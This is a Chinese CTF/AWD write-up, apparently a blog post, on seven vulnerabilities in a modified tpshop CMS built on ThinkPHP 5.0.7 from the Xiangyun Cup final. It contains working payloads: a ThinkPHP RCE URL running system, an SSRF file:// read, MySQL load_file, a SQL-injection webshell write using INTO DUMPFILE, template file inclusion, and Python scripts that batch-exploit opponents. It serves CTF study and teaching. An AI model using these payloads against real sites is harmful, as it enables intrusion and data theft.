CTF,Web

introduction

有幸参与了祥云杯决赛,由于这次的AWD题目相对比较有意思,特此记录,线下AWD共放出2道Web环境,但由于其中一道不可抗拒的因素,在开始后不久就被主办方下线,所以此文只分析另一道被打了一天的web环境。两道题环境都会提供在文章最下方

第一个洞

首先用自己的AWD框架把源码下到本地,扔到D盾
图片.png
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841,https://vulhub.org/#/environments/phpunit/CVE-2017-9841/

<?php

eval('?>' . file_get_contents('php://input'));

我们可以直接post exp过去即可,这里也是发现得早批量写的快成功拿到比赛一血
图片.png

第二个洞

此CMS为tpshop,但和网上公开的tpshop源码不太相同,既然是tp,肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7,疑似存在tp5 rce
图片.png
用网上公开的exp

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

并不能直接打成功,
图片.png
因为并不存在index模块,我们就无法逃逸正则调用任意方法,我们需要找到一个默认存在的模块
(这里因为对tp5 rce原理不熟卡了好久)
其实首页随便点几个链接或者看源码就可以发现,此cms存在Home Admin等模块
图片.png
图片.png

第三四五个洞

由于cms为mvc,接下来从控制器下手,在home模块的控制器下面找到一个Test.php

<?php
namespace app\home\controller; 
use think\Controller;
use think\Url;
use think\Config;
use think\Page;
use think\Verify;
use think\Db;
use think\Cache;
class Test extends Controller {
    
    public function index(){      
       $mid = 'hello'.date('H:i:s');
       //echo "测试分布式数据库$mid";
       //echo "<br/>";
       //echo $_GET['aaa'];       
         M('config')->master()->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('name');
       /*
       //DB::name('member')->insert(['mid'=>$mid,'name'=>'hello5']);
       $member = DB::name('member')->master()->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
       $member = DB::name('member')->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
    */   
//       echo "<br/>";
//       echo DB::name('member')->master()->where('mid','111')->value('name');
//       echo "<br/>";
//       echo DB::name('member')->where('mid','111')->value('name');
         echo C('cache.type');
    }  
    
    public function redis(){
        Cache::clear();
        $cache = ['type'=>'redis','host'=>'192.168.0.201'];        
        Cache::set('cache',$cache);
        $cache = Cache::get('cache');
        print_r($cache);         
        S('aaa','ccccccccccccccccccccccc');
        echo S('aaa');
    }
    public function dlfile($file_url, $save_to) {
            $ch = curl_init();  // 启动一个CURL会话
            curl_setopt($ch, CURLOPT_POST, 0);
            curl_setopt($ch,CURLOPT_URL,$file_url);  // 要访问的地址
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $file_content = curl_exec($ch);  // 执行操作
            curl_close($ch);  // 关键CURL会话   
            $downloaded_file = fopen($save_to, 'w');
            fwrite($downloaded_file, $file_content);
            fclose($downloaded_file);
    }
    
    public function mysql_test($dbname, $dbuser, $dbpass, $dbserver, $dbport, $dbquery) {

        $m = mysqli_init();
        
        $conn = mysqli_real_connect($m, $dbserver, $dbuser, $dbpass, $dbname, intval($dbport));
        $result = mysqli_query($m, $dbquery) or die(mysqli_error($conn));
        $data = mysqli_fetch_all($result, MYSQLI_ASSOC);
        var_dump($data);

        mysqli_close($m);

    }

    public function object_test($input) {
        $a = unserialize($input);
    }

    public function table(){
        $t = Db::query("show tables like '%tp_goods_2017%'");
        print_r($t);
    }
}

这短短的一个文件中藏了3个洞,分别是ssrf导致任意文件读写,mysql远程连接文件读取或者本地任意sql执行,反序列化,太简单了看看exp就行

@round("http://172.20.5.1-30:6022")
def attack7(url):
    try:

        a = hh.http(url+"/index.php/home/test/dlfile?file_url=file:///flag&save_to=/public/js/jquery-1.10.3.min.js")
        a = hh.http(url+"/public/js/jquery-1.10.3.min.js")
        flag =  a[2].strip()
        print "|"+flag+"|"
        submit_flag(flag)
    except Exception as e:
        print e
        pass
@round("http://172.20.5.1-30:6022")
def attack11(url):
    try:

        a = hh.http(url+r"/index.php?m=Home&c=test&a=mysql_test&database=ctf&dbname=ctf&dbuser=user&dbpass=123456&dbserver=localhost&dbport=3306&dbquery=select+load_file('\/flag');")

        flag = a[2].strip()
        flag = re.search(r"flag{.*?}",flag,re.S).group()
        print flag
        submit_flag(flag)
        print url
    except Exception as e:
        print e
        pass

mysql的洞一开始想法是远连读文件,但是发现服务器和选手pc好像不通,于是作罢,后面发现可以连本地直接load_file。。。

反序列化洞由于比赛时候断网找不到exp,也没写,并且由于三个洞在同一个文件,修复的话会直接整个文件删除,所以就没太在意了

第六个洞

<?php    
public function return_goods_list()
    {
        $where = " user_id=$this->user_id ";
        // 搜索订单 根据商品名称 或者 订单编号
        $search_key = trim(I('search_key'));
        if($search_key)
        {
            $where .= " and order_sn=$search_key";
        }
        $count = M('return_goods')->where($where)->count();
        $page = new Page($count,10);
        $list = M('return_goods')->where($where)->order("id desc")->limit("{$page->firstRow},{$page->listRows}")->select();
        $goods_id_arr = get_arr_column($list, 'goods_id');
        if(!empty($goods_id_arr))
            $goodsList = M('goods')->where("goods_id","in", implode(',',$goods_id_arr))->getField('goods_id,goods_name');
        $state = C('REFUND_STATUS');
        $this->assign('state',$state);
        $this->assign('goodsList', $goodsList);
        $this->assign('list', $list);
        $this->assign('page', $page->show());// 赋值分页输出
        return $this->fetch();
    }

很明显的看出来上面第九行将url参数search_key与sql语句进行了拼接,而且环境是debug,一开始想用报错注入
但无论怎么构造都报错1105 Only constant XPATH queries are supported
图片.png

由于时间问题,发现服务器环境可以写文件,就没继续考虑读flag,而是写马利用

?search_key=1)union select '<?php eval($_REQUEST[1])?>' into dumpfile "/var/www/html/runtime/.2.php";%23

第七个洞

fetch函数文件包含

最后一个洞是倒数第二轮抓流量抓到的,并没有挖到
exp类似这样(本地复现方便,当时exp并不是这样)
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma
图片.png

浏览runtime/temp/ma.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<?php phpinfo()?>
</body>
</html>

通过exp的url找到对应method

<?php 
public function header_cart_list()
    {
        $cartLogic = new CartLogic();
        $cartLogic->setUserId($this->user_id);
            $cart_result = $cartLogic->getUserCartList(0);
            if(empty($cart_result['total_price']))
                    $cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0);
        
            $this->assign('cartList', $cart_result['cartList']); // 购物车的商品
            $this->assign('cart_total_price', $cart_result['total_price']); // 总计
        $template = I('template','header_cart_list');         
        return $this->fetch($template);         
    }

u1s1我是第一次见tp fetch函数可控导致的文件包含,我只见过assgin可控导致的文件包含
ThinkPHP5漏洞分析之文件包含

在赛后复现的时候,发现fetch参数不仅可以目录穿越,也可以用绝对路径或者相对路径,通过../穿越选择我们想要的模板文件名,

下面是官方对fetch函数的解释
图片.png
有点啰嗦,直接看源码吧。。

<?php   
    public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }

        // 模板不存在 抛出异常

        if (!is_file($template)) {
            
//            if(strstr($template,'pre_sell_list')){
//                header("Content-type: text/html; charset=utf-8");
//                exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn');
//            }
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);

    }

通过调试发现,上面代码4-7行,如果输入的参数无后缀,则

<?php
$template = MODULE_PATH.$template.".html"

也就是系统会在fetch参数前加上模板的绝对目录,参数后加上.html
如果有后缀,那么就会直接扔进is_file去判断,判断通过后,进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端,然后通过fetch造成文件包含
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtimetemp1.jpg
图片.png

当然这里绝路目录相对目录穿越目录及任意后缀都是可以的

summary

其实比赛漏洞并不难,AWD主要还是选手的反应速度和脚本编写能力,我大部分时候都在上别人车,抓到新洞流量立马写批量反打,发现被中马看看其他环境有没有一样的马上车。以及被种不死马,蠕虫马,递归马等恶心的东西时候写脚本去删马,都耗费了大量的时间,真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完,有很多漏洞赛时并没有挖出,据说还有几个SQL注入,但当时我已经挖了一个就没继续看了,
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进(好多人改密码)而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。

评论

  1. evoA
    Firefox 67

    链接:https://pan.baidu.com/s/13QKszh_f_AC_-Z9kClFOgQ
    提取码:7j9q
    复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V2的分享

  2. yanshu
    QQ 10

    师傅,利用你的环境复现题目,那个后台密码md5解不开怎么办

  3. evoA
    Chrome 91

    自己随便想个密码md5写进去进去,然后这个密码去登录

This is just a placeholder img.